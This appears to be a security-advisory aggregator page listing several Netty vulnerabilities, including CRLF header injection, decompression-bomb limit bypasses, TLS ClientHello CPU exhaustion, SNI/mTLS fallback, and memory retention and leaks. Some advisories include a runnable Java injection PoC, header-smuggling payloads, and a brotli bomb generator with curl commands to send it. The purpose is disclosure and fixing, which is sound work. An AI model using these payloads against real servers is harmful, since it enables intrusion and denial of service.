assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP11, HttpMethod.GET, "/1"))); ByteBuf request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound());

assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP11, HttpMethod.HEAD, "/2"))); request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound());

String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" + "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" + "HTTP/1.1 200 OK\r\n\r\n"; assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.USASCII)));

// Response 1 HttpResponse response = channel.readInbound(); assertEquals(HttpResponseStatus.EARLYHINTS, response.status()); LastHttpContent last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release();

// Response 2 response = channel.readInbound(); assertEquals(HttpResponseStatus.OK, response.status()); last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release();

// Response 3 FullHttpResponse response1 = channel.readInbound(); assertTrue(response1.decoderResult().isFailure()); assertEquals(0, response1.content().readableBytes()); response1.release();

assertFalse(channel.finish()); }

Impact Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.

1 / 3
Source: GitHub
First published (updated )
Severity
2.9
CRLF Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

1. Vulnerability Summary

| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions) | | Component | io.netty.handler.proxy.HttpProxyHandler | | Vulnerability Type | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers | | Impact | HTTP Header Injection in CONNECT Proxy Requests | | CVSS 3.1 Score | 7.5 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N | | Related Advisory | GHSA-84h7-rjj3-6jx4 (Incomplete Fix) |

2. Affected Components

- io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)

3. Vulnerability Description

Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

Root Cause

java // HttpProxyHandler.java:176-190 protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception { // ... HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED

FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, url, Unpooled.EMPTYBUFFER, headersFactory, headersFactory);

req.headers().set(HttpHeaderNames.HOST, hostHeader);

if (authorization != null) { req.headers().set(HttpHeaderNames.PROXYAUTHORIZATION, authorization); }

if (outboundHeaders != null) { req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION }

return req; }

The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.

Incomplete Fix of GHSA-84h7-rjj3-6jx4

This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:

1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed 2. User-provided outboundHeaders are added without any CRLF check 3. The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

1. An application uses HttpProxyHandler with user-influenced outboundHeaders 2. The application does not perform its own CRLF sanitization on header values

Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel

5. Attack Scenarios

Scenario 1: Proxy Authentication Bypass

java HttpHeaders headers = new DefaultHttpHeaders(false); headers.set("X-Forwarded-For", userInput); // userInput from attacker new HttpProxyHandler(proxyAddr, headers);

Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="

Wire format: CONNECT target.com:443 HTTP/1.1 host: target.com:443 X-Forwarded-For: 1.2.3.4 Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED

The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.

Scenario 2: Request Smuggling via Proxy

Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"

Injects a full smuggled request through the proxy tunnel establishment.

6. Proof of Concept

Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.; import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC { public static void main(String[] args) { System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

// Simulate HttpProxyHandler.newInitialMessage() with validation=false HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory() .withValidation(false);

FullHttpRequest req = new DefaultFullHttpRequest( HttpVersion.HTTP11, HttpMethod.CONNECT, "target.com:443", io.netty.buffer.Unpooled.EMPTYBUFFER, headersFactory, headersFactory);

req.headers().set(HttpHeaderNames.HOST, "target.com:443");

// Inject CRLF in header value String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"; req.headers().set("X-Forwarded-For", malicious);

// Encode to wire format EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder()); ch.writeOutbound(req); ByteBuf out = ch.readOutbound(); String encoded = out.toString(StandardCharsets.UTF8); out.release(); ch.finishAndReleaseAll();

System.out.println("Wire format:"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\\r")); } System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true")); System.out.println("VULNERABLE: " + (encoded.contains("X-Admin: true") ? "YES" : "NO")); } }

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled) ---------------------------------------------------------- Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true" Header accepted: YES (validation disabled!) Wire format: CONNECT target.com:443 HTTP/1.1\r host: target.com:443\r X-Forwarded-For: 1.2.3.4\r X-Forwarded-For: 127.0.0.1\r <-- INJECTED X-Admin: true\r <-- INJECTED \r

Injected X-Admin header in wire: true VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison -------------------------------------------------------- With validation=true: SAFE: Rejected - IllegalArgumentException With validation=false: VULNERABLE: Accepted CRLF in header value! Stored value contains CRLF: true

7. Remediation Recommendations

Option 1: Remove withValidation(false)

java // Change HttpProxyHandler.java line 176 from: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false); // To: HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

Option 2: Validate outboundHeaders Before Adding

java if (outboundHeaders != null) { for (Map.Entry<String, String> entry : outboundHeaders) { HttpUtil.validateHeaderValue(entry.getValue()); } req.headers().add(outboundHeaders); }

8. Resources

- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (incomplete fix — this report) - CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers

1 / 3
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

HttpContentDecompressor accepts a maxAllocation parameter to limit decompression buffer size and prevent decompression bomb attacks. This limit is correctly enforced for gzip and deflate encodings via ZlibDecoder, but is silently ignored when the content encoding is br (Brotli), zstd, or snappy. An attacker can bypass the configured decompression limit by sending a compressed payload with Content-Encoding: br instead of Content-Encoding: gzip, causing unbounded memory allocation and out-of-memory denial of service.

The same vulnerability exists in DelegatingDecompressorFrameListener for HTTP/2 connections.

Details

HttpContentDecompressor stores the maxAllocation value at construction time (HttpContentDecompressor.java:89) and uses it in newContentDecoder() to create the appropriate decompression handler.

For gzip/deflate, maxAllocation is forwarded to ZlibCodecFactory.newZlibDecoder():

java // HttpContentDecompressor.java:101 — maxAllocation IS enforced .handlers(ZlibCodecFactory.newZlibDecoder(ZlibWrapper.GZIP, maxAllocation))

ZlibDecoder.prepareDecompressBuffer() enforces this as a hard cap by setting the buffer's maxCapacity and throwing DecompressionException when the limit is reached:

java // ZlibDecoder.java:68 — hard limit on buffer capacity return ctx.alloc().heapBuffer(Math.min(preferredSize, maxAllocation), maxAllocation); // ZlibDecoder.java:80 — throws when exceeded throw new DecompressionException("Decompression buffer has reached maximum size: " + buffer.maxCapacity());

For brotli, zstd, and snappy, the decoders are created without any size limit:

java // HttpContentDecompressor.java:120 — maxAllocation IGNORED .handlers(new BrotliDecoder())

// HttpContentDecompressor.java:129 — maxAllocation IGNORED .handlers(new SnappyFrameDecoder())

// HttpContentDecompressor.java:138 — maxAllocation IGNORED .handlers(new ZstdDecoder())

BrotliDecoder has no maxAllocation parameter at all — there is no way to constrain its output. It streams decompressed data in chunks via fireChannelRead with no total limit.

ZstdDecoder() defaults to a 4MB maximumAllocationSize, but this only constrains individual buffer allocations, not total output. The decode loop (ZstdDecoder.java:100-114) creates new buffers and fires channelRead repeatedly, so total decompressed output is unbounded.

The identical pattern exists in DelegatingDecompressorFrameListener.newContentDecompressor() at lines 188-210 for HTTP/2.

PoC

1. Configure a Netty HTTP server with decompression bomb protection:

java pipeline.addLast(new HttpContentDecompressor(1048576)); // 1MB max pipeline.addLast(new HttpObjectAggregator(1048576)); // 1MB max

2. Generate a brotli-compressed bomb (~1KB compressed → 1GB decompressed):

python import brotli bomb = b'\x00' (1024 1024 1024) # 1GB of zeros compressed = brotli.compress(bomb, quality=11) with open('bomb.br', 'wb') as f: f.write(compressed) compressed size: ~1KB

3. Send the bomb with gzip encoding (BLOCKED by maxAllocation):

bash This is caught — ZlibDecoder enforces the 1MB limit curl -X POST http://target:8080/api \ -H 'Content-Encoding: gzip' \ --data-binary @bomb.gz Result: DecompressionException thrown at 1MB

4. Send the same bomb with brotli encoding (BYPASSES maxAllocation):

bash This bypasses the limit — BrotliDecoder has no maxAllocation curl -X POST http://target:8080/api \ -H 'Content-Encoding: br' \ --data-binary @bomb.br Result: Full 1GB decompressed into memory → OOM

5. The same bypass works with Content-Encoding: zstd and Content-Encoding: snappy.

Impact

- Denial of Service: An attacker can cause out-of-memory conditions on any Netty server that relies on maxAllocation for decompression bomb protection, by simply using a non-gzip content encoding. - False sense of security: Developers who explicitly configure maxAllocation to protect against decompression bombs are not actually protected for brotli, zstd, or snappy encodings. The API documentation implies all encodings are covered. - Trivial bypass: The attacker only needs to change one HTTP header (Content-Encoding: br instead of Content-Encoding: gzip) to circumvent the protection entirely. - Both HTTP/1.1 and HTTP/2: The vulnerability exists in both HttpContentDecompressor (HTTP/1.1) and DelegatingDecompressorFrameListener (HTTP/2).

Recommended Fix

Pass maxAllocation to all decoder constructors. For BrotliDecoder, which currently has no maxAllocation support, add the parameter:

HttpContentDecompressor.java — pass maxAllocation to all decoders:

java // Line 120: BrotliDecoder — add maxAllocation support .handlers(new BrotliDecoder(maxAllocation))

// Line 129: SnappyFrameDecoder — add maxAllocation support .handlers(new SnappyFrameDecoder(maxAllocation))

// Line 138: ZstdDecoder — forward the configured maxAllocation .handlers(new ZstdDecoder(maxAllocation))

DelegatingDecompressorFrameListener.java — same fix at lines 188-210.

BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.

SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.

ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Netty's default SNI entrypoint reparses and recopies previously received ClientHello fragments on every additional TLS handshake record. A remote peer can send a small first record that advertises a large ClientHello length and then drip the body in many tiny records, causing superlinear (quadratic) CPU work before the handshake completes. With 4095 one-byte fragments, the handler recopies 8,386,560 bytes from only 24,579 bytes on the wire — a 341× amplification ratio.

Affected Entrypoints

- io.netty.handler.ssl.SniHandler — default constructors - io.netty.handler.ssl.SslClientHelloHandler — pre-handshake ClientHello aggregation path

Vulnerable Code Locations

- handler/src/main/java/io/netty/handler/ssl/SniHandler.java:85 - handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:75 (decode entry) - handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:165 (handshakeBuffer.clear) - handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:174 (writeBytes re-copy) - codec-base/src/main/java/io/netty/handler/codec/ByteToMessageDecoder.java:294 (cumulation retention)

Exploit Path

1. TCP connection → SniHandler → SslClientHelloHandler.decode 2. First record: TLS handshake header declaring large ClientHello length (e.g., 4096 bytes) 3. Attacker sends thousands of tiny follow-on handshake records (1 byte each) 4. On each fragment: handshakeBuffer.clear() + writeBytes() re-copies ALL accumulated body bytes 5. Total bytes copied = n(n+1)/2 where n = number of body bytes → quadratic 6. Event-loop CPU exhausted before SslHandler takes over

Impact

- Vulnerability Type: Inefficient Algorithmic Complexity - An unauthenticated network attacker can drive disproportionate CPU consumption on the Netty event loop - Affects all Netty deployments using SniHandler for TLS termination (the default SNI path) - No privileges, user interaction, or special configuration required - Can degrade or stall TLS connection handling for all clients on the affected event loop - The attack requires only modest bandwidth (~25 KB) to trigger significant CPU work

--- Credits

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A fragmented TLS ClientHello whose handshake header spans multiple records makes Netty silently fall back to the default SslContext; where per-SNI selection is the sole mTLS gate, an unauthenticated attacker can bypass the route's mTLS requirement.

Details In io.netty.handler.ssl.SslClientHelloHandler#decode the guard that should wait for the 4-byte handshake header checks the wrong offset - it ignores the 5-byte record header that precedes it - and therefore never fires:

java if (handshakeLength == -1) { if (readerIndex + 4 > endOffset) { // Need more data to read HandshakeType and handshakeLength (4 bytes) return; }

When the first record's payload is < 4 bytes, handshakeLength = in.getUnsignedMedium(readerIndex + SslUtils.SSLRECORDHEADERLENGTH + 1); leads to IndexOutOfBoundsException . That is caught by the generic catch (Exception) block, which calls select(ctx, null) - this is the default SslContext. Fallback to default on parse failure is a problem when per-SNI selection is the sole mTLS gate.

Impact SNI routing bypass. Escalates to an unauthenticated mTLS bypass only when: - mTLS is enforced solely via per-SNI SslContext (clientAuth=REQUIRE) - the default/fallback SslContext is permissive (clientAuth=NONE/OPTIONAL) - no secondary peer-certificate verification exists at the application layer.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Summary

RedisArrayAggregator clears retained partial aggregate state when the maxNestedArrayDepth limit is exceeded, but it does not clear the same state when the sibling maxElements limit is exceeded. A peer can start a valid RESP array, send a bulk-string child, then send a nested array header longer than the configured maxElements. Netty throws a decoder exception, but the existing partial aggregate remains retained in the handler.

If the application leaves the channel alive after the exception, later messages are still consumed into the pre-error aggregate. The supplied PoV proves both the retained ByteBuf reference and the stale parser state continuation.

Technical Details

RedisArrayAggregator.decode(...) retains non-array messages before adding them to depths.peek().children. In decodeRedisArrayHeader(...), the header.length() > maxElements branch throws immediately:

java if (header.length() > maxElements) { throw new CodecException("this codec doesn't support longer length than " + maxElements); }

The immediately following nested-depth branch clears retained aggregate state before throwing:

java if (depths.size() >= maxNestedArrayDepth) { releaseAndClearDepths(); throw new CodecException("max nested array depth exceeded: " + maxNestedArrayDepth); }

The missing cleanup in the first branch leaves retained children and aggregate state reachable after the exception.

PoC

Place the supplied RedisArrayAggregatorIncompleteCleanupPovTest.java under:

codec-redis/src/test/java/io/netty/handler/codec/redis/

Run:

fish ./mvnw -pl codec-redis -am -Dtest=RedisArrayAggregatorIncompleteCleanupPovTest -Dsurefire.failIfNoSpecifiedTests=false -DskipNativeTests -DskipAutobahnTests test

The test suite includes:

- serialized RESP trigger through RedisDecoder, RedisBulkStringAggregator, and RedisArrayAggregator; - direct refcount proof that max-elements overflow does not release the retained child immediately; - post-exception continuation proof that the stale aggregate consumes a later message; - nested-depth controls that clear the same partial aggregate state.

All five tests pass on current 4.2, 4.2.15.Final, and 4.1.135.Final.

Impact

For Redis codec pipelines that continue after codec exceptions, an unauthenticated peer can keep attacker-controlled aggregate state alive across a security-limit exception. This can pin retained pooled buffers until channel close/removal or until a later message completes the stale aggregate.

RedisBulkStringAggregator permits bulk strings up to RedisConstants.REDISMESSAGEMAXLENGTH (512MB), so the retained child can be large in deployments that aggregate untrusted Redis streams.

Applications that always close the channel or remove the handler on decoder exceptions will trigger existing cleanup; the issue is the missing immediate cleanup on the max-elements failure path while the handler remains installed.

Suggested Fix

Call releaseAndClearDepths() before throwing from the max-elements branch. Consider applying the same cleanup to all unrecoverable decodeRedisArrayHeader(...) error exits that can occur while depths is non-empty.

Affected Package/Versions

io.netty:netty-codec-redis

Confirmed on:

- current 4.2 branch head 7bae566a93e69409697fe57fa807910ba5c9720e - 4.2.15.Final at a41f7b289ce1 - 4.1.135.Final at f05f765d8146

Advisory History

This differs from the public Redis codec advisories because it reproduces on their patched tags:

- GHSA-5w86-c3rq-vjj7 - GHSA-3244-j874-rhc2 / CVE-2026-44250 - GHSA-6jv9-x5w9-2ccm / CVE-2026-48006 - GHSA-6ghj-frrj-jjj3 / CVE-2026-44890

Why This Is Not Intended Behavior

The public API docs document RedisArrayAggregator as aggregating RedisMessage parts into ArrayRedisMessage and document a CodecException when an array header exceeds maxElements. They do not document preserving pre-exception partial aggregate state after that limit fires.

The adjacent nested-depth branch already calls releaseAndClearDepths() before throwing. The max-elements branch is the sibling aggregation-limit branch but throws without cleanup. Netty's later Redis lifecycle cleanup patch explicitly added release behavior for nested-array failure and handler removal, leaving the max-elements failure branch as a missed cleanup path.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.xml.XmlFrameDecoder.decode() failed to preserve closing-tag parser state across invocations, so an unauthenticated remote attacker could trickle-feed repeated </ sequences that repeatedly rescanned the accumulated buffer and exhausted an EventLoop thread's CPU, causing denial of service with a maxFrameLength of 1 MB. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Netty is an asynchronous, event-driven network application framework. Prior to 4.1.136.Final and 4.2.16.Final, io.netty.handler.codec.dns.AbstractDnsRecord, io.netty.handler.codec.dns.DefaultDnsRecordDecoder.decodeRecord(), and io.netty.handler.codec.dns.DnsCodecUtil.decompressDomainName() failed to release retained or newly allocated ByteBuf objects when IDN.toASCII() or encodeDomainName() rejected a malformed domain name, allowing unauthenticated remote DNS packets to leak direct memory incrementally until denial of service. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.

First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary SctpMessageCompletionHandler does not limit the total size of buffered fragments, allowing an unauthenticated attacker to cause an OutOfMemoryError by sending large SCTP fragments.

Details io.netty.handler.codec.sctp.SctpMessageCompletionHandler buffers fragments for incomplete SCTP messages. The fix for CVE-2026-46340 fixed unbounded memory growth by introducing limits on the number of concurrent incomplete messages (maxIncompleteSctpMessages) and the number of fragments per message (maxFragments).

While the count of fragments is now bounded, the handler still does not enforce a maximum size in bytes.

With the default limits of 128 messages and 128 fragments, and a typical max SCTP chunk size of 64KB, an attacker can consume up to ~1GB per connection. By opening a small number of concurrent connections, an attacker can easily exhaust the server's memory, causing an OutOfMemoryError.

Impact Memory Exhaustion. Any application using Netty's SCTP transport with SctpMessageCompletionHandler is impacted.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Summary Netty's CorsHandler silently overwrites existing Vary headers, enabling cache poisoning and sensitive information disclosure.

Details io.netty.handler.codec.http.cors.CorsHandler#setVaryHeader overwrites any existing Vary headers set by backend applications.

java private static void setVaryHeader(final HttpResponse response) { response.headers().set(HttpHeaderNames.VARY, HttpHeaderNames.ORIGIN); }

Because set() replaces all existing values for the header, if a backend application sets a Vary header (such as Vary: Authorization or Vary: Cookie) to ensure that intermediate caches (like CDNs) cache responses separately per user, the CorsHandler will overwrite it with Vary: origin. This causes the caching proxy to ignore the authorization context and cache the response based solely on the URL and Origin, allowing an attacker to retrieve another user's cached sensitive data.

Impact This is a Cache Poisoning vulnerability that leads to Information Disclosure. It impacts any Netty-based web application that uses the CorsHandler, sets its own Vary headers to manage caching of authenticated or user-specific responses (e.g., Vary: Authorization), and is deployed behind a caching proxy or CDN. The end-users of these applications are impacted, as their sensitive data may be leaked to unauthorized actors.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203